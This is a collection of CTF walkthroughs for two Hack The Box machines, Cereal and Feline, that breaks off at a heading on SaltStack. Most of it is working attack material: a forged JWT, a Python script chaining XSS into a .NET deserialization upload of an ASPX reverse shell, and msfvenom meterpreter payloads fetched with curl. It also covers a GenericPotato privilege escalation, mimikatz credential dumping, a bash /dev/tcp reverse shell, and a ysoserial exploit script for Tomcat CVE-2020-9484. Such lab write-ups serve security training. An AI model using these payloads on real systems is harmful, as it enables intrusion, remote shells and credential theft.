extract exposed git directory in source.cereal.htb/.git:

``` bash
git clone https://github.com/internetwache/GitTools.git
```

``` bash
┌──(root💀kali)-[~/GitTools-master/Dumper]
└─# ip=http://source.cereal.htb/.git/
┌──(root💀kali)-[~/GitTools-master/Dumper]
└─# mkdir /tmp/git
┌──(root💀kali)-[~/GitTools-master/Dumper]
└─# mkdir /tmp/src
┌──(root💀kali)-[~/GitTools-master/Dumper]
└─# ./gitdumper.sh $ip /tmp/git
###########
# GitDumper is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########


[*] Destination folder does not exist
[+] Creating /tmp/git/.git/
[+] Downloaded: HEAD
[-] Downloaded: objects/info/packs
[+] Downloaded: description
[+] Downloaded: config
[+] Downloaded: COMMIT_EDITMSG
[+] Downloaded: index
[-] Downloaded: packed-refs
[+] Downloaded: refs/heads/master
[-] Downloaded: refs/remotes/origin/HEAD
[-] Downloaded: refs/stash
[+] Downloaded: logs/HEAD
[+] Downloaded: logs/refs/heads/master
[-] Downloaded: logs/refs/remotes/origin/HEAD
[-] Downloaded: info/refs
[+] Downloaded: info/exclude
[-] Downloaded: /refs/wip/index/refs/heads/master
[-] Downloaded: /refs/wip/wtree/refs/heads/master
[+] Downloaded: objects/34/b68232714f841a274050591ff5595dcf7f85da
[-] Downloaded: objects/00/00000000000000000000000000000000000000
[+] Downloaded: objects/8f/2a1a88f15b9109e1f63e4e4551727bfb38eee5
[+] Downloaded: objects/7b/d9533a2e01ec11dfa928bd491fe516477ed291
[+] Downloaded: objects/3a/23ffe921530036a4e0c355e6c8d1d4029cb728
...
┌──(root💀kali)-[~/GitTools-master/Extractor]
└─# ./extractor.sh /tmp/git /tmp/src
###########
# Extractor is part of https://github.com/internetwache/GitTools
#
# Developed and maintained by @gehaxelt from @internetwache
#
# Use at your own risk. Usage might be illegal in certain circumstances. 
# Only for educational purposes!
###########
[+] Found commit: 3a23ffe921530036a4e0c355e6c8d1d4029cb728
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/.gitignore
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ApplicationOptions.cs
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/Cereal.csproj
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/CerealContext.cs
[+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/.gitignore
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/README.md
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package-lock.json
[+] Found file: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/package.json
[+] Found folder: /tmp/src/0-3a23ffe921530036a4e0c355e6c8d1d4029cb728/ClientApp/public
...
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# mv /tmp/src ./src
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# ls
src
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# tree
.
└── src
    ├── 0-3a23ffe921530036a4e0c355e6c8d1d4029cb728
    │   ├── ApplicationOptions.cs
    │   ├── appsettings.Development.json
    │   ├── appsettings.json
    │   ├── CerealContext.cs
    │   ├── Cereal.csproj
    │   ├── ClientApp
    │   │   ├── package.json
    │   │   ├── package-lock.json
    │   │   ├── public
    │   │   │   ├── favicon.ico
    │   │   │   ├── FuturaStd-Bold.woff
...
```

exposed secret in the file "2-8f2a1a88f15b9109e1f63e4e4551727bfb38eee5/Services/UserService.cs":

``` bash
secretlhfIH&FY*#oysuflkhskjfhefesf
```

vulnerability in the file "Controllers\RequestsController.cs":
deserialization (can't use ysoserial because of custom protection, but can use deserialization of the DownloadManager object -> upload aspx shell)

vulnerability in the file "ClientApp\src\AdminPage\AdminPage.jsx":

xss (https://snyk.io/vuln/npm:react-marked-markdown:20180517)
-> with this xss we can do server-side requests and trigger the deserialization

create jwt_token with exposed secret:

``` bash
git clone https://github.com/ticarpi/jwt_tool
```

``` bash
┌──(root💀kali)-[~/jwt_tool-master]
└─# python3 jwt_tool.py -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' $(echo -n '{"alg":"HS256","typ":"JWT"}' | base64).$(echo -n '{"name": "1", "exp":' `date -d "+7 days" +%s`} | base64 -w0).

        \   \        \         \          \                    \ 
   \__   |   |  \     |\__    __| \__    __|                    |
         |   |   \    |      |          |       \         \     |
         |        \   |      |          |    __  \     __  \    |
  \      |      _     |      |          |   |     |   |     |   |
   |     |     / \    |      |          |   |     |   |     |   |
\        |    /   \   |      |          |\        |\        |   |
 \______/ \__/     \__|   \__|      \__| \______/  \______/ \__|
 Version 2.1.0                \______|             @ticarpi      

Original JWT: 

=====================
Decoded Token Values:
=====================

Token header values:
[+] alg = "HS256"
[+] typ = "JWT"

Token payload values:
[+] name = "1"
[+] exp = 1611309858    ==> TIMESTAMP = 2021-01-22 05:04:18 (UTC)

----------------------
JWT common timestamps:
iat = IssuedAt
exp = Expires
nbf = NotBefore
----------------------

jwttool_8f513bf6c46dcbab36a08eb47d9dd4c0 - Tampered token - HMAC Signing:
[+] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMTMwOTg1OH0.JmUBfIp6MwKWxKDXAPhFEvqHa60qqlYOBWnrKSedMcE
```

How to create the serialized object in csharp:

``` bash
Cereal.DownloadHelper dh = new Cereal.DownloadHelper
{
	URL = "https://someurl/pic.png",
	FilePath = "pic.png",
};

string json = JsonConvert.SerializeObject(dh, new JsonSerializerSettings
{
	TypeNameHandling = TypeNameHandling.All
});
Console.WriteLine(json);
```

crafted payload looks like this:

``` bash
{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://<ip>/shell.aspx","FilePath":"c:/inetpub/source/uploads/shell.aspx"}
```

serve aspx rev-shell (edit shell.aspx host and port, i use port 9001):

``` bash
wget https://raw.githubusercontent.com/borjmz/aspx-reverse-shell/master/shell.aspx
mousepad shell.aspx
python -m SimpleHTTPServer 80
```

script to upload shell.aspx (change my_ip and jwt_token):

 - upload.py

``` bash
import requests
from urllib3.exceptions import InsecureRequestWarning
import base64

requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)


jwt_token = '<token>'
my_ip = '<ip>'

URL = 'https://cereal.htb/requests'


js_payload = """var jwt_token = '"""+jwt_token+ """';
targeturl = 'https://cereal.htb/requests';

req = new XMLHttpRequest;
var payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://""" +my_ip+"""/shell.aspx","FilePath":"C:/inetpub/source/uploads/shell.aspx"}'});

req.onreadystatechange = function() {
    if (req.readyState == 4) {
        var id = JSON.parse(this.responseText).id;
        //console.log(id)

        req2 = new XMLHttpRequest;
        req2.open('GET', targeturl + "/" + id, false);
        req2.setRequestHeader("Authorization", "Bearer " + jwt_token);
        req2.send();
    }
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt_token);
req.setRequestHeader('Content-type', 'application/json');
req.send(payload);"""


js_payload_b64 = base64.b64encode(js_payload.encode('utf-8'))
payload = {'json': '{"title":"[XSS](javascript: eval(atob(%22' + js_payload_b64.decode('utf-8') + '%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'}
headers = {'Authorization': 'Bearer ' + jwt_token}


print("shending payload: " + str(payload))
r = requests.post(URL, headers=headers, json=payload, verify=False)
print(r.text)
```

wait a bit until file is uploaded (1 minute max),
start nc listener (with aspx shell port):

``` bash
nc -lvp 9001
```

trigger reverse shell:

``` bash
curl -k https://source.cereal.htb/uploads/shell.aspx
```

enumerate listening ports:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# nc -lvp 9001
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9001
Ncat: Listening on 0.0.0.0:9001
Ncat: Connection from 10.10.10.217.
Ncat: Connection from 10.10.10.217:49973.
Spawn Shell...
Microsoft Windows [Version 10.0.17763.1577]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>whoami
whoami
cereal\sonny
c:\windows\system32\inetsrv>netstat -aon | findstr /i "listening"
netstat -aon | findstr /i "listening"
  TCP    0.0.0.0:22             0.0.0.0:0              LISTENING       1668
  TCP    0.0.0.0:80             0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING       852
  TCP    0.0.0.0:443            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:5985           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8080           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:8172           0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:47001          0.0.0.0:0              LISTENING       4
  TCP    0.0.0.0:49664          0.0.0.0:0              LISTENING       468
  TCP    0.0.0.0:49665          0.0.0.0:0              LISTENING       308
  TCP    0.0.0.0:49666          0.0.0.0:0              LISTENING       1076
  TCP    0.0.0.0:49667          0.0.0.0:0              LISTENING       600
  TCP    0.0.0.0:49670          0.0.0.0:0              LISTENING       620
  TCP    10.10.10.217:139       0.0.0.0:0              LISTENING       4
  TCP    127.0.0.1:49668        0.0.0.0:0              LISTENING       3404
  TCP    127.0.0.1:49672        0.0.0.0:0              LISTENING       3704
  TCP    [::]:22                [::]:0                 LISTENING       1668
  TCP    [::]:80                [::]:0                 LISTENING       4
  TCP    [::]:135               [::]:0                 LISTENING       852
  TCP    [::]:443               [::]:0                 LISTENING       4                                                                              
  TCP    [::]:445               [::]:0                 LISTENING       4                                                                              
  TCP    [::]:5985              [::]:0                 LISTENING       4
  TCP    [::]:8080              [::]:0                 LISTENING       4
  TCP    [::]:8172              [::]:0                 LISTENING       4
  TCP    [::]:47001             [::]:0                 LISTENING       4
  TCP    [::]:49664             [::]:0                 LISTENING       468
  TCP    [::]:49665             [::]:0                 LISTENING       308
  TCP    [::]:49666             [::]:0                 LISTENING       1076
  TCP    [::]:49667             [::]:0                 LISTENING       600
  TCP    [::]:49670             [::]:0                 LISTENING       620
  TCP    [::1]:49668            [::]:0                 LISTENING       3404
```

-> 8080 interesting

get the user flag

``` bash
c:\Users\sonny\Desktop>type user.txt
type user.txt
0ed97bdf062900a2eb5b18deb96bfa98
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb159.jpg)

enumerate privs:

``` bash
c:\Users\sonny\Desktop>whoami /all
whoami /all

USER INFORMATION
----------------

User Name    SID                                           
============ ==============================================
cereal\sonny S-1-5-21-1433318354-2681105707-1558593885-1000


GROUP INFORMATION
-----------------

Group Name                           Type             SID                                                             Attributes                                        
==================================== ================ =============================================================== ==================================================
Everyone                             Well-known group S-1-1-0                                                         Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                        Alias            S-1-5-32-545                                                    Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\BATCH                   Well-known group S-1-5-3                                                         Mandatory group, Enabled by default, Enabled group
CONSOLE LOGON                        Well-known group S-1-2-1                                                         Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users     Well-known group S-1-5-11                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization       Well-known group S-1-5-15                                                        Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Local account           Well-known group S-1-5-113                                                       Mandatory group, Enabled by default, Enabled group
BUILTIN\IIS_IUSRS                    Alias            S-1-5-32-568                                                    Mandatory group, Enabled by default, Enabled group
LOCAL                                Well-known group S-1-2-0                                                         Mandatory group, Enabled by default, Enabled group
IIS APPPOOL\source.cereal.htb        Well-known group S-1-5-82-1091461672-2110406625-1707532520-1965434010-2231625233 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication     Well-known group S-1-5-64-10                                                     Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label            S-1-16-12288                                                                                                      


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
```

-> SeImpersonatePrivilege enabled

create exe for metasploit:

``` bash
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9003 -b "\x00\x0a" -a x86 --platform windows -f exe -o m.exe
```

run metasploit:

``` bash
msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.6
set LPORT 9003
run
```

download m.exe to target and execute it:

``` bash
mkdir C:\temp
cd C:\temp
curl http://10.10.14.6/m.exe -o C:\temp\m.exe
.\m.exe
```

create tunnel in meterpreter:

``` bash
# portfwd single ports
portfwd add -l 8081 -p 8080 -r 127.0.0.1
```

analyze the local port 8080 (on our host on 8081),
you find, that it uses graphql,
after enumerating graphql, you find a callable function, which allows ssrf (updatePlant).
combine this ssrf with SeImpersonatePrivilege -> juicy potato with http -> https://github.com/micahvandeusen/GenericPotato

execute GenericPotato.exe on target:

``` bash
curl http://10.10.14.6/nc64.exe -o C:\temp\nc64.exe
curl http://10.10.14.6/GenericPotato.exe -o C:\temp\GenericPotato.exe
curl http://10.10.14.6/NtApiDotNet.xml -o C:\temp\NtApiDotNet.xml
.\GenericPotato.exe -p "C:\temp\nc64.exe" -a "10.10.14.6 9005 -e powershell" -e HTTP -l 8889
```

call the function with curl on kali:

``` bash
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8889\")}"}' 'http://localhost:8081/api/graphql'
```

and we got system privileged reverse shell and got the flag:

``` bash
┌──(root💀kali)-[~/hackthebox/machine/cereal]
└─# nc -lvp 9005
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::9005
Ncat: Listening on 0.0.0.0:9005
Ncat: Connection from 10.10.10.217.
Ncat: Connection from 10.10.10.217:50126.
Windows PowerShell 
Copyright (C) Microsoft Corporation. All rights reserved.

PS C:\Windows\system32> whoami
whoami
nt authority\system
PS C:\Windows\system32> cd \users\administrator\desktop
cd \users\administrator\desktop
PS C:\users\administrator\desktop> dir
dir


    Directory: C:\users\administrator\desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        1/15/2021  12:17 AM             34 root.txt                                                              


PS C:\users\administrator\desktop> cat root.txt
cat root.txt
2ef4dd4807656f580a6e513cb43957e0
```

use mimikatz get ntlm hash

``` bash
PS C:\users\administrator\desktop> .\mimikatz.exe
.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #18362 Aug 14 2019 01:31:47
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::logonpasswords

Authentication Id : 0 ; 546250 (00000000:000855ca)
Session           : Batch from 0
User Name         : sonny
Domain            : CEREAL
Logon Server      : CEREAL
Logon Time        : 1/15/2021 12:44:49 AM
SID               : S-1-5-21-1433318354-2681105707-1558593885-1000
        msv :
         [00000003] Primary
         * Username : sonny
         * Domain   : CEREAL
         * NTLM     : 9806947d86b058dfca0dde0433579cab
         * SHA1     : 519524c36daac6f62dbb631fac66ed1cedf3ab01
        tspkg :
        wdigest :
         * Username : sonny
         * Domain   : CEREAL
         * Password : (null)
        kerberos :
         * Username : sonny
         * Domain   : CEREAL
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : CEREAL$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : S-1-5-20
        msv :
        tspkg :
        wdigest :
         * Username : CEREAL$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : cereal$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 44904 (00000000:0000af68)
Session           : UndefinedLogonType from 0
User Name         : (null)
Domain            : (null)
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : 
        msv :
        tspkg :
        wdigest :
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 196095 (00000000:0002fdff)
Session           : Service from 0
User Name         : cereal.htb
Domain            : IIS APPPOOL
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:44 AM
SID               : S-1-5-82-3871417701-2112554078-3336495516-2512288484-1474308953
        msv :
        tspkg :
        wdigest :
         * Username : CEREAL$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 995 (00000000:000003e3)
Session           : Service from 0
User Name         : IUSR
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:29 AM
SID               : S-1-5-17
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 89034 (00000000:00015bca)
Session           : Batch from 0
User Name         : sonny
Domain            : CEREAL
Logon Server      : CEREAL
Logon Time        : 1/15/2021 12:17:29 AM
SID               : S-1-5-21-1433318354-2681105707-1558593885-1000
        msv :
         [00000003] Primary
         * Username : sonny
         * Domain   : CEREAL
         * NTLM     : 9806947d86b058dfca0dde0433579cab
         * SHA1     : 519524c36daac6f62dbb631fac66ed1cedf3ab01
        tspkg :
        wdigest :
         * Username : sonny
         * Domain   : CEREAL
         * Password : (null)
        kerberos :
         * Username : sonny
         * Domain   : CEREAL
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 997 (00000000:000003e5)
Session           : Service from 0
User Name         : LOCAL SERVICE
Domain            : NT AUTHORITY
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : S-1-5-19
        msv :
        tspkg :
        wdigest :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        kerberos :
         * Username : (null)
         * Domain   : (null)
         * Password : (null)
        ssp :
        credman :

Authentication Id : 0 ; 46077 (00000000:0000b3fd)
Session           : Interactive from 1
User Name         : UMFD-1
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : S-1-5-96-0-1
        msv :
        tspkg :
        wdigest :
         * Username : CEREAL$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 46049 (00000000:0000b3e1)
Session           : Interactive from 0
User Name         : UMFD-0
Domain            : Font Driver Host
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : S-1-5-96-0-0
        msv :
        tspkg :
        wdigest :
         * Username : CEREAL$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
        ssp :
        credman :

Authentication Id : 0 ; 999 (00000000:000003e7)
Session           : UndefinedLogonType from 0
User Name         : CEREAL$
Domain            : WORKGROUP
Logon Server      : (null)
Logon Time        : 1/15/2021 12:17:28 AM
SID               : S-1-5-18
        msv :
        tspkg :
        wdigest :
         * Username : CEREAL$
         * Domain   : WORKGROUP
         * Password : (null)
        kerberos :
         * Username : cereal$
         * Domain   : WORKGROUP
         * Password : (null)
        ssp :
        credman :
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb160.jpg)


#### Summary of knowledge

 - use gittool to get the source code
 - DownloadManager object deserialization
 - use xss do server-side requests and trigger the deserialization to download webshell
 - port forwarding by using portfwd
 - combine graphql ssrf with SeImpersonatePrivilege -> juicy potato with http by using GenericPotato to privilege escalation

#### Contact me

 - QQ: 1185151867
 - twitter: https://twitter.com/fdlucifer11
 - github: https://github.com/FDlucifer

<font color="blue">I'm lUc1f3r11, a ctfer, reverse engineer, ioter, red teamer, coder, gopher, pythoner, AI lover, security reseacher, hacker, bug hunter and more...</font>
<!-- kb:end cereal -->

</details>

<a id="case-feline"></a>

## Tomcat 会话文件与 Salt 管理面

上传文件与 JSESSIONID 关联 Tomcat 反序列化，原链随后经 Salt ClearFuncs 与 Docker socket 跨越容器权限边界。运行依赖和转发方式均有记录。

<p class="kb-provenance">来源 feline · 原记录 2020-09-03 · 22 个代码块 · 5 处图片引用</p>

<details class="kb-evidence" id="record-feline">
<summary>查看分析过程、攻击步骤与完整代码</summary>

<!-- kb:start feline -->

#### introduce

OS: Linux
Difficulty: Hard
Points:	40
Release:	29 Aug 2020
IP:	10.10.10.205

User Blood	szymex73	00 days, 00 hours, 44 mins, 52 seconds.
Root Blood	InfoSecJack	00 days, 02 hours, 08 mins, 18 seconds.

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb84.jpg)

 - ![my htb rank](http://www.hackthebox.eu/badge/image/235857)



#### information gathering

first use nmap as usaul

``` bash
root@kali:~# nmap -sV -p- -v --min-rate=10000 10.10.10.205
PORT     STATE SERVICE VERSION                                                                                      
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)                                          
8080/tcp open  http    Apache Tomcat 9.0.27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

#### Web Enumeration

The main page returns a title as "VirusBucket" which is used to analyze malicious files just like "VirusTotal".

Some random descriptions are given. From the top menu, we can see some menus available. Out of these, 'service' is where we can upload our file to analyze it.

make a test to uploaded a file and intercepted the request with Burp Suite.

request:

``` bash
POST /upload.jsp?email=12312312@qq.com HTTP/1.1

Host: 10.10.10.205:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.205:8080/service/

Content-Type: multipart/form-data; boundary=---------------------------136589399510028257051484957281

Origin: http://10.10.10.205:8080

Content-Length: 235

Connection: close

Cookie: JSESSIONID=C41EC8CF6D55F9C72BB143787C0B1D27



-----------------------------136589399510028257051484957281

Content-Disposition: form-data; name="image"; filename="out"

Content-Type: application/octet-stream



test


-----------------------------136589399510028257051484957281--
```

response:

``` bash
HTTP/1.1 200 

Content-Type: text/html;charset=UTF-8

Content-Length: 41

Date: Thu, 03 Sep 2020 09:57:29 GMT

Connection: close




File uploaded successfully!
```

the file is actually uploaded to the server,and then i got the location of uploading files when I change the filename as empty

request:

``` bash
POST /upload.jsp?email=12312312@qq.com HTTP/1.1

Host: 10.10.10.205:8080

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0

Accept: */*

Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http://10.10.10.205:8080/service/

Content-Type: multipart/form-data; boundary=---------------------------136589399510028257051484957281

Origin: http://10.10.10.205:8080

Content-Length: 232

Connection: close

Cookie: JSESSIONID=C41EC8CF6D55F9C72BB143787C0B1D27



-----------------------------136589399510028257051484957281

Content-Disposition: form-data; name="image"; filename=""

Content-Type: application/octet-stream



test


-----------------------------136589399510028257051484957281--
```

response:

``` bash
HTTP/1.1 200 

Content-Type: text/html;charset=UTF-8

Content-Length: 2867

Date: Thu, 03 Sep 2020 10:02:59 GMT

Connection: close








<div id="error">
java.io.FileNotFoundException: /opt/samples/uploads (Is a directory)
	at java.base/java.io.FileOutputStream.open0(Native Method)
	at java.base/java.io.FileOutputStream.open(FileOutputStream.java:298)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:237)
	at java.base/java.io.FileOutputStream.<init>(FileOutputStream.java:187)
	at org.apache.commons.fileupload.disk.DiskFileItem.write(DiskFileItem.java:394)
	at org.apache.jsp.upload_jsp._jspService(upload_jsp.java:205)
	at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:476)
	at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:385)
	at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:329)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:741)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:231)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:193)
	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:166)
	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:202)
	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:96)
	at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:526)
	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:139)
	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:92)
	at org.apache.catalina.valves.AbstractAccessLogValve.invoke(AbstractAccessLogValve.java:678)
	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:74)
	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:343)
	at org.apache.coyote.http11.Http11Processor.service(Http11Processor.java:408)
	at org.apache.coyote.AbstractProcessorLight.process(AbstractProcessorLight.java:66)
	at org.apache.coyote.AbstractProtocol$ConnectionHandler.process(AbstractProtocol.java:861)
	at org.apache.tomcat.util.net.NioEndpoint$SocketProcessor.doRun(NioEndpoint.java:1579)
	at org.apache.tomcat.util.net.SocketProcessorBase.run(SocketProcessorBase.java:49)
	at java.base/java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1128)
	at java.base/java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:628)
	at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
	at java.base/java.lang.Thread.run(Thread.java:834)
</div>
```

and we got the upload file location

``` bash
/opt/samples/uploads
```

we can see that there is something related to Java deserialization running behind the scene.

#### Tomcat JsessionID Insecure Deserialization CVE - User Shell

use a simple google search, we find an article to understand the public exploit CVE-2020-9484.

#### reference 1:
 - [Apache Tomcat RCE by deserialization CVE-2020-9484 writeup and exploit](https://www.redtimmy.com/java-hacking/apache-tomcat-rce-by-deserialization-cve-2020-9484-write-up-and-exploit/)

Requirements to exploit:

 - There is no authentication needed to upload a file to the server.  PersistentManager might be enabled, that’s why we got our file uploaded.
 - We have control over the location of the file and the name of the file.
 - Java Run time exec() function is the one which deserializes the JsessionID information in it.

Exploitation steps:

 - We need to create a Java Runtime Environment serialized Object and also save it in filename.session
 - Then it is needed to upload it to the server.
 - The final step is to modify the JSESSIONID to value like “../../../../malicious.session”.

Since the JSESSIONID is parsed by function java.lang.Runtime.exec(), we need to set bash or shell payload. Because NC, Socat command will get break inside the Runtime Environment.

#### reference 2:

 - [java.lang.Runtime.exec Payload Workarounds](http://jackson-t.ca/runtime-exec-payloads.html)

``` bash
bash -i >& /dev/tcp/10.10.14.4/4444 0>&1
```

can be changed to the following

``` bash
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}
```

then make a bash script

exp.sh

``` bash
#!/bin/bash
payload="bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzQ0NDQgMD4mMQ==}|{base64,-d}|{bash,-i}"
java -jar ysoserial-master.jar CommonsCollections2 "${payload}" > gun1X.session
curl -F 'image=@gun1X.session' http://10.10.10.205:8080/upload.jsp?email=gunroot
curl --cookie "JSESSIONID=../../../../../opt/samples/uploads/gun1X" -L http://10.10.10.205:8080/upload.jsp?email=gunroot
```

before run this script we have to download ysoserial-master.jar

 - [download ysoserial-master.jar](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)

rename the file to ysoserial-master.jar

run exp.sh and we got a shell back, and owned the user flag

``` bash
root@kali:~# nc -lvp 4444
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.10.205.
Ncat: Connection from 10.10.10.205:39862.
bash: cannot set terminal process group (948): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@VirusBucket:/opt/tomcat$ id
id
uid=1000(tomcat) gid=1000(tomcat) groups=1000(tomcat)
tomcat@VirusBucket:/opt/tomcat$ whoami
whoami
tomcat
tomcat@VirusBucket:/opt/tomcat$ cd ~
cd ~
tomcat@VirusBucket:~$ ls
ls
user.txt
tomcat@VirusBucket:~$ cat user.txt
cat user.txt
a485c52b48abe0381d0e8ad66342b159
```

 - ![](https://raw.githubusercontent.com/wiki/FDlucifer/FDlucifer.github.io/htb85.jpg)

#### SaltStack Abusing ClearFuncs Class in Salt Master CVE Docker

